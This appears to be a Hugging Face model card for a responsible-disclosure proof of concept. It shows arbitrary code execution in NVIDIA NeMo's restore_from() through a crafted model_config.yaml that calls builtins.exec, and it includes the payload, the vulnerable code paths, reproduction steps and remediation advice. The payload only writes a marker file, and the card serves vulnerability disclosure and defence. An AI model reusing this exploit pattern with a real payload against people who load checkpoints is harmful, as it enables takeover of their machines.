Instructions to use Havzer/nemo-restore-from-rce-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use Havzer/nemo-restore-from-rce-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
⚠️ SECURITY RESEARCH PoC — DO NOT LOAD THIS MODEL ⚠️
This repository is not a real model. It hosts a single crafted
malicious_vocoder.nemo that demonstrates arbitrary code execution when an
untrusted NVIDIA NeMo .nemo checkpoint is loaded with the standard
restore_from() API.
It exists solely for coordinated disclosure to the NeMo maintainers via
huntr. The payload is benign — it prints a banner and
writes a marker file PWNED_NEMO_HF.txt into your OS temp directory. Do not
load it unless you understand exactly what it does.
Affected: nemo_toolkit 2.7.3 (latest) and main (2.8.0). No OSV/GHSA
advisory covers 2.7.x.
The bug in one paragraph
A .nemo file is a tar archive containing model_config.yaml. On
restore_from(), NeMo loads that untrusted YAML and constructs the model.
Several TTS/vocoder __init__ methods then call hydra.utils.instantiate(self._cfg.<subkey>)
directly on sub-configs taken verbatim from the YAML. instantiate() resolves
and calls the _target_ with attacker-supplied _args_, so a sub-config
like preprocessor: {_target_: builtins.exec, _args_: ["<python>"]} runs
arbitrary code at load time. These raw calls bypass NeMo's safe_instantiate
allow-list (the CVE-2026-24159 hardening), which only guards the
from_config_dict _target_ branch — not the model __init__ path.
Vulnerable chain (NeMo 2.7.3)
nemo/core/connectors/save_restore_connector.py—OmegaConf.load(model_config.yaml)(untrusted)…—calling_cls.from_config_dict(config=conf, trainer=trainer)nemo/core/classes/common.py:589from_config_dict— a normal model config (no top-level_target_) hits theelsebranch and constructscls(cfg=config), running the model__init__with the untrusted config (only the_target_/cls+paramsbranches route through guardedsafe_instantiate).nemo/collections/tts/models/waveglow.py:49whereself.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor) # RAW, no allow-listinstantiateisfrom hydra.utils import instantiate(waveglow.py:17).hydra.utils.instantiateexecutes the attacker_target_→ RCE.
Same raw instantiate(self._cfg.*) sink in: tacotron2.py:113-115,
two_stages.py:126/131, spectrogram_enhancer.py:276, plus univnet.py,
vits.py, radtts.py, mixer_tts.py (all from hydra.utils import instantiate).
A second, independent vector is the legacy target else-branch in
common.py:614 (import_class_by_path(config["target"]) → imported_cls(cfg=config)),
also unguarded.
The malicious model_config.yaml (inside the .nemo)
sigma: 1.0
preprocessor:
_target_: builtins.exec
_args_:
- |
import os, tempfile
open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
print("[PWNED] code ran inside WaveGlowModel.restore_from()")
waveglow: {}
Reproduce (victim's point of view)
pip install nemo_toolkit[tts] huggingface_hub
from huggingface_hub import hf_hub_download
from nemo.collections.tts.models import WaveGlowModel
path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
WaveGlowModel.restore_from(path) # __init__ -> instantiate(self._cfg.preprocessor) -> code runs
Observed: a [PWNED] … banner prints and PWNED_NEMO_HF.txt appears in your
temp dir, before restore_from errors out on the placeholder weights —
proving the code runs at load time.
Impact
.nemo checkpoints are routinely distributed via the Hugging Face Hub and
NVIDIA NGC; restore_from is the standard loading API. A victim loading an
attacker's TTS/vocoder .nemo — a normal, trusted-looking action — gets
arbitrary code execution in their process.
CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (~8.8 High).
Remediation
Route all model-config-driven instantiation through safe_instantiate (or run
_validate_config_targets_recursive before every
hydra.utils.instantiate(self._cfg.*) in nemo/collections/tts/models/*), and
guard the legacy target branch in from_config_dict (common.py:605-625).
Reported responsibly via huntr. Files in this repo are inert configuration; the "weights" are a zero-byte placeholder. Replace the benign payload at your own risk.
- Downloads last month
- 2